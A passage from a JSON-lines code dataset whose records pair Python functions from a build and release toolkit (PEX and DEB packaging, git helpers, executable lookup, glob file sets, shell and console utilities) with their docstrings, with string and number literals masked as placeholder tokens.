'<STR_LIT:->'.join(env_id)<EOL><DEDENT>else:<EOL><INDENT>env_id = '<STR_LIT>'<EOL><DEDENT>new_pex_file = pex_file.replace('<STR_LIT>', '<STR_LIT>'.format(env_id))<EOL>notify.info(\"<STR_LIT>\".format(os.path.basename(new_pex_file)))<EOL>os.rename(pex_file, new_pex_file)<EOL>pex_file = new_pex_file<EOL>pex_files.append(pex_file)<EOL><DEDENT>if not pex_files:<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if pyrun:<EOL><INDENT>if any(pyrun.startswith(i) for i in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>pyrun_url = pyrun<EOL><DEDENT>else:<EOL><INDENT>pyrun_cfg = dict(ctx.rituals.pyrun)<EOL>pyrun_cfg.update(parse_qsl(pyrun.replace(os.pathsep, '<STR_LIT:&>')))<EOL>pyrun_url = (pyrun_cfg['<STR_LIT>'] + '<STR_LIT:/>' +<EOL>pyrun_cfg['<STR_LIT>']).format(**pyrun_cfg)<EOL><DEDENT>notify.info(\"<STR_LIT>\".format(pyrun_url))<EOL>with url_as_file(pyrun_url, ext='<STR_LIT>') as pyrun_tarball:<EOL><INDENT>pyrun_tar = tarfile.TarFile.gzopen(pyrun_tarball)<EOL>for pex_file in pex_files[:]:<EOL><INDENT>pyrun_exe = pyrun_tar.extractfile('<STR_LIT>')<EOL>with open(pex_file, '<STR_LIT:rb>') as pex_handle:<EOL><INDENT>pyrun_pex_file = '<STR_LIT>'.format(<EOL>pex_file[:-<NUM_LIT:4>], pyrun_url.rsplit('<STR_LIT>')[-<NUM_LIT:1>][:-<NUM_LIT:4>])<EOL>with open(pyrun_pex_file, '<STR_LIT:wb>') as pyrun_pex:<EOL><INDENT>pyrun_pex.write(INSTALLER_BASH.replace('<STR_LIT>', '<STR_LIT>'.format(len(INSTALLER_BASH) + <NUM_LIT:1>)))<EOL>shutil.copyfileobj(pyrun_exe, pyrun_pex)<EOL>shutil.copyfileobj(pex_handle, pyrun_pex)<EOL><DEDENT>shutil.copystat(pex_file, pyrun_pex_file)<EOL>notify.info(\"<STR_LIT>\".format(pretty_path(pyrun_pex_file)))<EOL>pex_files.append(pyrun_pex_file)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if upload:<EOL><INDENT>base_url = ctx.rituals.release.upload.base_url.rstrip('<STR_LIT:/>')<EOL>if not base_url:<EOL><INDENT>notify.failure(\"<STR_LIT>\")<EOL><DEDENT>for pex_file in pex_files:<EOL><INDENT>url = base_url + '<STR_LIT:/>' + ctx.rituals.release.upload.path.lstrip('<STR_LIT:/>').format(<EOL>name=cfg.project.name, version=cfg.project.version, filename=os.path.basename(pex_file))<EOL>notify.info(\"<STR_LIT>\".format(url))<EOL>with io.open(pex_file, '<STR_LIT:rb>') as handle:<EOL><INDENT>reply = requests.put(url, data=handle.read())<EOL>if reply.status_code in range(<NUM_LIT:200>, <NUM_LIT>):<EOL><INDENT>notify.info(\"<STR_LIT>\".format(**vars(reply)))<EOL><DEDENT>else:<EOL><INDENT>notify.warning(\"<STR_LIT>\".format(**vars(reply)))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Package the project with PEX.", "id": "f3283:m3"}
{"signature": "@task(default=True, help=dict(<EOL>dput=\"<STR_LIT>\",<EOL>opts=\"<STR_LIT>\",<EOL>))<EOL>def build(ctx, dput='<STR_LIT>', opts='<STR_LIT>'):", "body": "<EOL>with io.open('<STR_LIT>', encoding='<STR_LIT:utf-8>') as changes:<EOL><INDENT>metadata = re.match(r'<STR_LIT>', changes.readline().rstrip())<EOL>if not metadata:<EOL><INDENT>notify.failure('<STR_LIT>')<EOL><DEDENT>name, version, _, _ = metadata.groups()<EOL><DEDENT>ctx.run('<STR_LIT>'.format(ctx.rituals.deb.build.opts, opts))<EOL>if not os.path.exists('<STR_LIT>'):<EOL><INDENT>os.makedirs('<STR_LIT>')<EOL><DEDENT>artifact_pattern = '<STR_LIT>'.format(name, re.sub(r'<STR_LIT>', '<STR_LIT:?>', version))<EOL>changes_files = []<EOL>for debfile in glob.glob('<STR_LIT>' + artifact_pattern):<EOL><INDENT>shutil.move(debfile, '<STR_LIT>')<EOL>if debfile.endswith('<STR_LIT>'):<EOL><INDENT>changes_files.append(os.path.join('<STR_LIT>', os.path.basename(debfile)))<EOL><DEDENT><DEDENT>ctx.run('<STR_LIT>'.format(artifact_pattern))<EOL>if dput:<EOL><INDENT>ctx.run('<STR_LIT>'.format(dput, '<STR_LIT:U+0020>'.join(changes_files)))<EOL><DEDENT>", "docstring": "Build a DEB package.", "id": "f3284:m0"}
{"signature": "def _get_registered_executable(exe_name):", "body": "registered = None<EOL>if sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>if os.path.splitext(exe_name)[<NUM_LIT:1>].lower() != '<STR_LIT>':<EOL><INDENT>exe_name += '<STR_LIT>'<EOL><DEDENT>import _winreg <EOL>try:<EOL><INDENT>key = \"<STR_LIT>\" + exe_name<EOL>value = _winreg.QueryValue(_winreg.HKEY_LOCAL_MACHINE, key)<EOL>registered = (value, \"<STR_LIT>\"+key)<EOL><DEDENT>except _winreg.error:<EOL><INDENT>pass<EOL><DEDENT>if registered and not os.path.exists(registered[<NUM_LIT:0>]):<EOL><INDENT>registered = None<EOL><DEDENT><DEDENT>return registered<EOL>", "docstring": "Windows allow application paths to be registered in the registry.", "id": "f3285:m0"}
{"signature": "def _samefile(fname1, fname2):", "body": "if sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>return os.path.normpath(os.path.normcase(fname1)) == os.path.normpath(os.path.normcase(fname2))<EOL><DEDENT>else:<EOL><INDENT>return os.path.samefile(fname1, fname2)<EOL><DEDENT>", "docstring": "OS independent `samefile` implementation.", "id": "f3285:m1"}
{"signature": "def _cull(potential, matches, verbose=<NUM_LIT:0>):", "body": "for match in matches: <EOL><INDENT>if _samefile(potential[<NUM_LIT:0>], match[<NUM_LIT:0>]):<EOL><INDENT>if verbose:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % potential)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>if not stat.S_ISREG(os.stat(potential[<NUM_LIT:0>]).st_mode):<EOL><INDENT>if verbose:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % potential)<EOL><DEDENT><DEDENT>elif not os.access(potential[<NUM_LIT:0>], os.X_OK):<EOL><INDENT>if verbose:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % potential)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>matches.append(potential)<EOL>return potential<EOL><DEDENT>return None<EOL>", "docstring": "Cull inappropriate matches. Possible reasons:\n        - a duplicate of a previous match\n        - not a disk file\n        - not executable (non-Windows)\n    If 'potential' is approved it is returned and added to 'matches'.\n    Otherwise, None is returned.", "id": "f3285:m2"}
{"signature": "def whichgen(command, path=None, verbose=<NUM_LIT:0>, exts=None): ", "body": "matches = []<EOL>if path is None:<EOL><INDENT>using_given_path = <NUM_LIT:0><EOL>path = os.environ.get(\"<STR_LIT>\", \"<STR_LIT>\").split(os.pathsep)<EOL>if sys.platform.startswith(\"<STR_LIT>\"):<EOL><INDENT>path.insert(<NUM_LIT:0>, os.curdir)  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>using_given_path = <NUM_LIT:1><EOL><DEDENT>if sys.platform.startswith(\"<STR_LIT>\"):<EOL><INDENT>if exts is None:<EOL><INDENT>exts = os.environ.get(\"<STR_LIT>\", \"<STR_LIT>\").split(os.pathsep)<EOL>for ext in exts:<EOL><INDENT>if ext.lower() == \"<STR_LIT>\":<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>exts = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL><DEDENT><DEDENT>elif not isinstance(exts, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if exts is not None:<EOL><INDENT>raise WhichError(\"<STR_LIT>\" % sys.platform)<EOL><DEDENT>exts = []<EOL><DEDENT>if os.sep in command or os.altsep and os.altsep in command:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for i, dir_name in enumerate(path):<EOL><INDENT>if sys.platform.startswith(\"<STR_LIT>\") and len(dir_name) >= <NUM_LIT:2> and dir_name[<NUM_LIT:0>] == '<STR_LIT:\">' and dir_name[-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>dir_name = dir_name[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>for ext in ['<STR_LIT>']+exts:<EOL><INDENT>abs_name = os.path.abspath(os.path.normpath(os.path.join(dir_name, command+ext)))<EOL>if os.path.isfile(abs_name):<EOL><INDENT>if using_given_path:<EOL><INDENT>from_where = \"<STR_LIT>\" % i<EOL><DEDENT>elif not sys.platform.startswith(\"<STR_LIT>\"):<EOL><INDENT>from_where = \"<STR_LIT>\" % i<EOL><DEDENT>elif i == <NUM_LIT:0>:<EOL><INDENT>from_where = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>from_where = \"<STR_LIT>\" % (i-<NUM_LIT:1>)<EOL><DEDENT>match = _cull((abs_name, from_where), matches, verbose)<EOL>if match:<EOL><INDENT>if verbose:<EOL><INDENT>yield match<EOL><DEDENT>else:<EOL><INDENT>yield match[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>match = _get_registered_executable(command)<EOL>if match is not None:<EOL><INDENT>match = _cull(match, matches, verbose)<EOL>if match:<EOL><INDENT>if verbose:<EOL><INDENT>yield match<EOL><DEDENT>else:<EOL><INDENT>yield match[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Return a generator of full paths to the given command.\n\n    \"command\" is a the name of the executable to search for.\n    \"path\" is an optional alternate path list to search. The default it\n        to use the PATH environment variable.\n    \"verbose\", if true, will cause a 2-tuple to be returned for each\n        match. The second element is a textual description of where the\n        match was found.\n    \"exts\" optionally allows one to specify a list of extensions to use\n        instead of the standard list for this system. This can\n        effectively be used as an optimization to, for example, avoid\n        stat's of \"foo.vbs\" when searching for \"foo\" and you know it is\n        not a VisualBasic script but \".vbs\" is on PATHEXT. This option\n        is only supported on Windows.\n\n    This method returns a generator which yields either full paths to\n    the given command or, if verbose, tuples of the form (<path to\n    command>, <where path found>).", "id": "f3285:m3"}
{"signature": "def which(command, path=None, verbose=<NUM_LIT:0>, exts=None):", "body": "matched = whichgen(command, path, verbose, exts)<EOL>try:<EOL><INDENT>match = next(matched)<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise WhichError(\"<STR_LIT>\" % command)<EOL><DEDENT>else:<EOL><INDENT>return match<EOL><DEDENT>", "docstring": "Return the full path to the first match of the given command on\n    the path.\n\n    \"command\" is a the name of the executable to search for.\n    \"path\" is an optional alternate path list to search. The default it\n        to use the PATH environment variable.\n    \"verbose\", if true, will cause a 2-tuple to be returned. The second\n        element is a textual description of where the match was found.\n    \"exts\" optionally allows one to specify a list of extensions to use\n        instead of the standard list for this system. This can\n        effectively be used as an optimization to, for example, avoid\n        stat's of \"foo.vbs\" when searching for \"foo\" and you know it is\n        not a VisualBasic script but \".vbs\" is on PATHEXT. This option\n        is only supported on Windows.\n\n    If no match is found for the command, a WhichError is raised.", "id": "f3285:m4"}
{"signature": "def whichall(command, path=None, verbose=<NUM_LIT:0>, exts=None):", "body": "return list(whichgen(command, path, verbose, exts))<EOL>", "docstring": "Return a list of full paths to all matches of the given command on the path.\n\n    \"command\" is a the name of the executable to search for.\n    \"path\" is an optional alternate path list to search. The default it\n        to use the PATH environment variable.\n    \"verbose\", if true, will cause a 2-tuple to be returned for each\n        match. The second element is a textual description of where the\n        match was found.\n    \"exts\" optionally allows one to specify a list of extensions to use\n        instead of the standard list for this system. This can\n        effectively be used as an optimization to, for example, avoid\n        stat's of \"foo.vbs\" when searching for \"foo\" and you know it is\n        not a VisualBasic script but \".vbs\" is on PATHEXT. This option\n        is only supported on Windows.", "id": "f3285:m5"}
{"signature": "def workdir_is_clean(self, quiet=False):", "body": "<EOL>self.run('<STR_LIT>', **RUN_KWARGS)<EOL>unchanged = True<EOL>try:<EOL><INDENT>self.run('<STR_LIT>', report_error=False, **RUN_KWARGS)<EOL><DEDENT>except exceptions.Failure:<EOL><INDENT>unchanged = False<EOL>if not quiet:<EOL><INDENT>notify.warning('<STR_LIT>')<EOL>self.run('<STR_LIT>', **RUN_KWARGS)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.run('<STR_LIT>', report_error=False, **RUN_KWARGS)<EOL><DEDENT>except exceptions.Failure:<EOL><INDENT>unchanged = False<EOL>if not quiet:<EOL><INDENT>notify.warning('<STR_LIT>')<EOL>self.run('<STR_LIT>', **RUN_KWARGS)<EOL><DEDENT><DEDENT>return unchanged<EOL>", "docstring": "Check for uncommitted changes, return `True` if everything is clean.\n\n            Inspired by http://stackoverflow.com/questions/3878624/.", "id": "f3286:c0:m0"}
{"signature": "def add_file(self, filename):", "body": "self.run('<STR_LIT>'.format(filename), **RUN_KWARGS)<EOL>", "docstring": "Stage a file for committing.", "id": "f3286:c0:m1"}
{"signature": "def commit(self, message):", "body": "self.run_elective('<STR_LIT>'.format(message))<EOL>", "docstring": "Commit pending changes.", "id": "f3286:c0:m2"}
{"signature": "def tag(self, label, message=None):", "body": "options = '<STR_LIT>'.format(message) if message else '<STR_LIT>'<EOL>self.run_elective('<STR_LIT>'.format(options, label))<EOL>", "docstring": "Tag the current workdir state.", "id": "f3286:c0:m3"}
{"signature": "def pep440_dev_version(self, verbose=False, non_local=False):", "body": "version = capture(\"<STR_LIT>\", echo=verbose)<EOL>if verbose:<EOL><INDENT>notify.info(\"<STR_LIT>\".format(version))<EOL><DEDENT>now = '<STR_LIT>'.format(datetime.now())<EOL>tag = capture(\"<STR_LIT>\".format(now), echo=verbose)<EOL>if verbose:<EOL><INDENT>notify.info(\"<STR_LIT>\".format(tag))<EOL><DEDENT>try:<EOL><INDENT>tag, date, time = tag.split('<STR_LIT:!>')<EOL><DEDENT>except ValueError:<EOL><INDENT>date = time = '<STR_LIT>'<EOL><DEDENT>tag, commits, short_hash = tag.rsplit('<STR_LIT:->', <NUM_LIT:3>)<EOL>label = tag<EOL>if re.match(r\"<STR_LIT>\", label):<EOL><INDENT>label = label[<NUM_LIT:1>:]<EOL><DEDENT>if commits == '<STR_LIT:0>' and label == version:<EOL><INDENT>pep440 = None<EOL><DEDENT>else:<EOL><INDENT>local_part = [<EOL>re.sub(r\"<STR_LIT>\", '<STR_LIT:.>', label).strip('<STR_LIT:.>'),  <EOL>short_hash,<EOL>date + ('<STR_LIT:T>' + time if time else '<STR_LIT>'),<EOL>]<EOL>build_number = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>if build_number.isdigit():<EOL><INDENT>local_part.extend(['<STR_LIT>', build_number])<EOL>if verbose:<EOL><INDENT>notify.info(\"<STR_LIT>\".format(build_number))<EOL><DEDENT><DEDENT>local_part = [i for i in local_part if i]<EOL>pep440 = '<STR_LIT>'.format(commits, '<STR_LIT:.>'.join(local_part).strip('<STR_LIT:.>'))<EOL>if non_local:<EOL><INDENT>pep440, _ = pep440.split('<STR_LIT:+>', <NUM_LIT:1>)<EOL><DEDENT><DEDENT>return pep440<EOL>", "docstring": "Return a PEP-440 dev version appendix to the main version number.\n\n            Result is ``None`` if the workdir is in a release-ready state\n            (i.e. clean and properly tagged).", "id": "f3286:c0:m4"}
{"signature": "def workdir_is_clean(self, quiet=False):", "body": "if not quiet:<EOL><INDENT>notify.warning('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return True<EOL>", "docstring": "Check for uncommitted changes, return `True` if everything is clean.", "id": "f3287:c0:m0"}
{"signature": "def add_file(self, filename):", "body": "notify.warning('<STR_LIT>'.format(filename))<EOL>", "docstring": "Stage a file for committing, or commit it directly (depending on the SCM).", "id": "f3287:c0:m1"}
{"signature": "def commit(self, message):", "body": "notify.warning('<STR_LIT>'.format(message))<EOL>", "docstring": "Commit pending changes.", "id": "f3287:c0:m2"}
{"signature": "def tag(self, label, message=None):", "body": "notify.warning('<STR_LIT>'.format(<EOL>label, '<STR_LIT>'.format(message) if message else '<STR_LIT>',<EOL>))<EOL>", "docstring": "Tag the current workdir state.", "id": "f3287:c0:m3"}
{"signature": "def pep440_dev_version(self, verbose=False, non_local=False):", "body": "<EOL>pep440 = '<STR_LIT>'.format(datetime.now())<EOL>if not non_local:<EOL><INDENT>build_number = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>if build_number.isdigit():<EOL><INDENT>pep440 += '<STR_LIT>'.format(build_number)<EOL>if verbose:<EOL><INDENT>notify.info(\"<STR_LIT>\".format(build_number))<EOL><DEDENT><DEDENT><DEDENT>return pep440<EOL>", "docstring": "Return a PEP-440 dev version appendix to the main version number.", "id": "f3287:c0:m4"}
{"signature": "def run(self, cmd, *args, **kwargs):", "body": "runner = self.ctx.run if self.ctx else None<EOL>return run(cmd, runner=runner, *args, **kwargs)<EOL>", "docstring": "Run a command.", "id": "f3288:c0:m1"}
{"signature": "def run_elective(self, cmd, *args, **kwargs):", "body": "if self._commit:<EOL><INDENT>return self.run(cmd, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>notify.warning(\"<STR_LIT>\".format(cmd))<EOL>kwargs = kwargs.copy()<EOL>kwargs['<STR_LIT>'] = False<EOL>return self.run('<STR_LIT:true>', *args, **kwargs)<EOL><DEDENT>", "docstring": "Run a command, or just echo it, depending on `commit`.", "id": "f3288:c0:m2"}
{"signature": "def auto_detect(workdir):", "body": "<EOL>if os.path.isdir(os.path.join(workdir, '<STR_LIT>')) and os.path.isfile(os.path.join(workdir, '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Return string signifying the SCM used in the given directory.\n\n        Currently, 'git' is supported. Anything else returns 'unknown'.", "id": "f3289:m0"}
{"signature": "def provider(workdir, commit=True, **kwargs):", "body": "return SCM_PROVIDER[auto_detect(workdir)](workdir, commit=commit, **kwargs)<EOL>", "docstring": "Factory for the correct SCM provider in `workdir`.", "id": "f3289:m1"}
{"signature": "def glob2re(part):", "body": "return \"<STR_LIT>\".join(<EOL>re.escape(bit).replace(r'<STR_LIT>', '<STR_LIT>').replace(r'<STR_LIT>', '<STR_LIT:[>').replace(r'<STR_LIT>', '<STR_LIT:]>')<EOL>for bit in part.split(\"<STR_LIT:*>\")<EOL>)<EOL>", "docstring": "Convert a path part to regex syntax.", "id": "f3290:m0"}
{"signature": "def parse_glob(pattern):", "body": "if not pattern:<EOL><INDENT>return<EOL><DEDENT>bits = pattern.split(\"<STR_LIT:/>\")<EOL>dirs, filename = bits[:-<NUM_LIT:1>], bits[-<NUM_LIT:1>]<EOL>for dirname in dirs:<EOL><INDENT>if dirname == \"<STR_LIT>\":<EOL><INDENT>yield  \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>yield glob2re(dirname) + \"<STR_LIT:/>\"<EOL><DEDENT><DEDENT>yield glob2re(filename)<EOL>", "docstring": "Generate parts of regex transformed from glob pattern.", "id": "f3290:m1"}
{"signature": "def compile_glob(spec):", "body": "parsed = \"<STR_LIT>\".join(parse_glob(spec))<EOL>regex = \"<STR_LIT>\".format(parsed)<EOL>return re.compile(regex)<EOL>", "docstring": "Convert the given glob `spec` to a compiled regex.", "id": "f3290:m2"}
{"signature": "def includes(pattern):", "body": "return Pattern(pattern, inclusive=True)<EOL>", "docstring": "A single inclusive glob pattern.", "id": "f3290:m3"}
{"signature": "def excludes(pattern):", "body": "return Pattern(pattern, inclusive=False)<EOL>", "docstring": "A single exclusive glob pattern.", "id": "f3290:m4"}
{"signature": "def __init__(self, spec, inclusive):", "body": "self.compiled = compile_glob(spec.rstrip('<STR_LIT:/>'))<EOL>self.inclusive = inclusive<EOL>self.is_dir = spec.endswith('<STR_LIT:/>')<EOL>", "docstring": "Create regex-based pattern matcher from glob `spec`.", "id": "f3290:c0:m0"}
{"signature": "def __str__(self):", "body": "return ('<STR_LIT:+>' if self.inclusive else '<STR_LIT:->') + self.compiled.pattern<EOL>", "docstring": "Return inclusiveness indicator and original glob pattern.", "id": "f3290:c0:m1"}
{"signature": "def matches(self, path):", "body": "return bool(self.compiled.match(path))<EOL>", "docstring": "Check this pattern against given `path`.", "id": "f3290:c0:m2"}
{"signature": "def included(self, path, is_dir=False):", "body": "inclusive = None<EOL>for pattern in self.patterns:<EOL><INDENT>if pattern.is_dir == is_dir and pattern.matches(path):<EOL><INDENT>inclusive = pattern.inclusive<EOL><DEDENT><DEDENT>return inclusive<EOL>", "docstring": "Check patterns in order, last match that includes or excludes `path` wins. Return `None` on undecided.", "id": "f3290:c1:m2"}
{"signature": "def walk(self, **kwargs):", "body": "lead = '<STR_LIT>'<EOL>if '<STR_LIT>' in kwargs and kwargs.pop('<STR_LIT>'):<EOL><INDENT>lead = self.root.rstrip(os.sep) + os.sep<EOL><DEDENT>for base, dirs, files in os.walk(self.root, **kwargs):<EOL><INDENT>prefix = base[len(self.root):].lstrip(os.sep)<EOL>bits = prefix.split(os.sep) if prefix else []<EOL>for dirname in dirs[:]:<EOL><INDENT>path = '<STR_LIT:/>'.join(bits + [dirname])<EOL>inclusive = self.included(path, is_dir=True)<EOL>if inclusive:<EOL><INDENT>yield lead + path + '<STR_LIT:/>'<EOL><DEDENT>elif inclusive is False:<EOL><INDENT>dirs.remove(dirname)<EOL><DEDENT><DEDENT>for filename in files:<EOL><INDENT>path = '<STR_LIT:/>'.join(bits + [filename])<EOL>if self.included(path):<EOL><INDENT>yield lead + path<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Like `os.walk` and taking the same keyword arguments,\n            but generating paths relative to the root.\n\n            Starts in the fileset's root and filters based on its patterns.\n            If ``with_root=True`` is passed in, the generated paths include\n            the root path.", "id": "f3290:c1:m8"}
{"signature": "def capture(cmd, **kw):", "body": "kw = kw.copy()<EOL>kw['<STR_LIT>'] = '<STR_LIT>'<EOL>if not kw.get('<STR_LIT>', False):<EOL><INDENT>kw['<STR_LIT>'] = False<EOL><DEDENT>ignore_failures = kw.pop('<STR_LIT>', False)<EOL>try:<EOL><INDENT>return invoke_run(cmd, **kw).stdout.strip()<EOL><DEDENT>except exceptions.Failure as exc:<EOL><INDENT>if not ignore_failures:<EOL><INDENT>notify.error(\"<STR_LIT>\".format(cmd, exc.result.return_code,))<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Run a command and return its stripped captured output.", "id": "f3292:m0"}
{"signature": "def run(cmd, **kw):", "body": "kw = kw.copy()<EOL>kw.setdefault('<STR_LIT>', False)  <EOL>report_error = kw.pop('<STR_LIT>', True)<EOL>runner = kw.pop('<STR_LIT>', invoke_run)<EOL>try:<EOL><INDENT>return runner(cmd, **kw)<EOL><DEDENT>except exceptions.Failure as exc:<EOL><INDENT>sys.stdout.flush()<EOL>sys.stderr.flush()<EOL>if report_error:<EOL><INDENT>notify.error(\"<STR_LIT>\".format(cmd, exc.result.return_code,))<EOL><DEDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout.flush()<EOL>sys.stderr.flush()<EOL><DEDENT>", "docstring": "Run a command and flush its output.", "id": "f3292:m1"}
{"signature": "def search_file_upwards(name, base=None):", "body": "base = base or os.getcwd()<EOL>while base != os.path.dirname(base):<EOL><INDENT>if os.path.exists(os.path.join(base, name)):<EOL><INDENT>return base<EOL><DEDENT>base = os.path.dirname(base)<EOL><DEDENT>return None<EOL>", "docstring": "Search for a file named `name` from cwd or given directory to root.\n        Return None if nothing's found.", "id": "f3293:m0"}
{"signature": "def add_dir2pypath(path):", "body": "py_path = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>if path not in py_path.split(os.pathsep):<EOL><INDENT>py_path = '<STR_LIT>'.join([path, os.pathsep if py_path else '<STR_LIT>', py_path])<EOL>os.environ['<STR_LIT>'] = py_path<EOL><DEDENT>", "docstring": "Add given directory to PYTHONPATH, e.g. for pylint.", "id": "f3293:m1"}
{"signature": "def _flush():", "body": "sys.stdout.flush()<EOL>sys.stderr.flush()<EOL>", "docstring": "Flush all console output.", "id": "f3294:m0"}
{"signature": "def banner(msg):", "body": "if ECHO:<EOL><INDENT>_flush()<EOL>sys.stderr.write(\"<STR_LIT>\".format(msg))<EOL>sys.stderr.flush()<EOL><DEDENT>", "docstring": "Emit a banner just like Invoke's `run(\u2026, echo=True)`.", "id": "f3294:m1"}
{"signature": "def info(msg):", "body": "_flush()<EOL>sys.stdout.write(msg + '<STR_LIT:\\n>')<EOL>sys.stdout.flush()<EOL>", "docstring": "Emit a normal message.", "id": "f3294:m2"}
{"signature": "def warning(msg):", "body": "_flush()<EOL>sys.stderr.write(\"<STR_LIT>\".format(msg))<EOL>sys.stderr.flush()<EOL>", "docstring": "Emit a warning message.", "id": "f3294:m3"}
{"signature": "def error(msg):", "body": "_flush()<EOL>sys.stderr.write(\"<STR_LIT>\".format(msg))<EOL>sys.stderr.flush()<EOL>", "docstring": "Emit an error message to stderr.", "id": "f3294:m4"}
{"signature": "def failure(msg):", "body": "error(msg)<EOL>sys.exit(<NUM_LIT:1>)<EOL>", "docstring": "Emit a fatal message and exit.", "id": "f3294:m5"}
{"signature": "def pretty_path(path, _home_re=re.compile('<STR_LIT>' + re.escape(os.path.expanduser('<STR_LIT>') + os.sep))):", "body": "path = decode_filename(path)<EOL>path = _home_re.sub('<STR_LIT>' + os.sep, path)<EOL>return path<EOL>", "docstring": "Prettify path for humans, and make it Unicode.", "id": "f3295:m0"}
{"signature": "@contextmanager<EOL>def pushd(path):", "body": "saved = os.getcwd()<EOL>os.chdir(path)<EOL>try:<EOL><INDENT>yield saved<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(saved)<EOL><DEDENT>", "docstring": "A context that enters a given directory and restores the old state on exit.\n\n        The original directory is returned as the context variable.", "id": "f3295:m1"}
{"signature": "@contextmanager<EOL>def url_as_file(url, ext=None):", "body": "if ext:<EOL><INDENT>ext = '<STR_LIT:.>' + ext.strip('<STR_LIT:.>')  <EOL><DEDENT>url_hint = '<STR_LIT>'.format(urlparse(url).hostname or '<STR_LIT>')<EOL>if url.startswith('<STR_LIT>'):<EOL><INDENT>url = os.path.abspath(url[len('<STR_LIT>'):])<EOL><DEDENT>if os.path.isabs(url):<EOL><INDENT>with open(url, '<STR_LIT:rb>') as handle:<EOL><INDENT>content = handle.read()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>content = requests.get(url).content<EOL><DEDENT>with tempfile.NamedTemporaryFile(suffix=ext or '<STR_LIT>', prefix=url_hint, delete=False) as handle:<EOL><INDENT>handle.write(content)<EOL><DEDENT>try:<EOL><INDENT>yield handle.name<EOL><DEDENT>finally:<EOL><INDENT>if os.path.exists(handle.name):<EOL><INDENT>os.remove(handle.name)<EOL><DEDENT><DEDENT>", "docstring": "Context manager that GETs a given `url` and provides it as a local file.\n\nThe file is in a closed state upon entering the context,\nand removed when leaving it, if still there.\n\nTo give the file name a specific extension, use `ext`;\nthe extension can optionally include a separating dot,\notherwise it will be added.\n\nParameters:\n    url (str): URL to retrieve.\n    ext (str, optional): Extension for the generated filename.\n\nYields:\n    str: The path to a temporary file with the content of the URL.\n\nRaises:\n    requests.RequestException: Base exception of ``requests``, see its\n        docs for more detailed ones.\n\nExample:\n    >>> import io, re, json\n    >>> with url_as_file('https://api.github.com/meta', ext='json') as meta:\n    ...     meta, json.load(io.open(meta, encoding='ascii'))['hooks']\n    (u'/tmp/www-api.github.com-Ba5OhD.json', [u'192.30.252.0/22'])", "id": "f3295:m2"}
{"signature": "def srcfile(*args):", "body": "return os.path.join(*((project_root,) + args))<EOL>", "docstring": "Helper for path building.", "id": "f3297:m0"}
{"signature": "def _build_metadata(): ", "body": "<EOL>expected_keys = ('<STR_LIT:url>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>metadata = {}<EOL>with open(srcfile('<STR_LIT:src>', package_name, '<STR_LIT>'), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>pkg_init = handle.read()<EOL>metadata['<STR_LIT>'] = re.search(r'<STR_LIT>', pkg_init, re.DOTALL|re.MULTILINE).group(<NUM_LIT:1>)<EOL>for line in pkg_init.splitlines():<EOL><INDENT>match = re.match(r\"\"\"<STR_LIT>\"\"\".format('<STR_LIT:|>'.join(expected_keys)), line)<EOL>if match:<EOL><INDENT>metadata[match.group(<NUM_LIT:1>)] = match.group(<NUM_LIT:3>)<EOL><DEDENT><DEDENT><DEDENT>if not all(i in metadata for i in expected_keys):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(<EOL>name, '<STR_LIT:U+002CU+0020>'.join(sorted(set(expected_keys) - set(metadata.keys()))),<EOL>))<EOL><DEDENT>text = metadata['<STR_LIT>'].strip()<EOL>if text:<EOL><INDENT>metadata['<STR_LIT:description>'], text = text.split('<STR_LIT:.>', <NUM_LIT:1>)<EOL>metadata['<STR_LIT:description>'] = '<STR_LIT:U+0020>'.join(metadata['<STR_LIT:description>'].split()).strip() + '<STR_LIT:.>' <EOL>metadata['<STR_LIT>'] = textwrap.dedent(text).strip()<EOL><DEDENT>metadata['<STR_LIT>'] = metadata['<STR_LIT>'].replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').strip().split()<EOL>requirements_files = dict(<EOL>install = '<STR_LIT>',<EOL>setup = '<STR_LIT>',<EOL>test = '<STR_LIT>',<EOL>)<EOL>requires = {}<EOL>for key, filename in 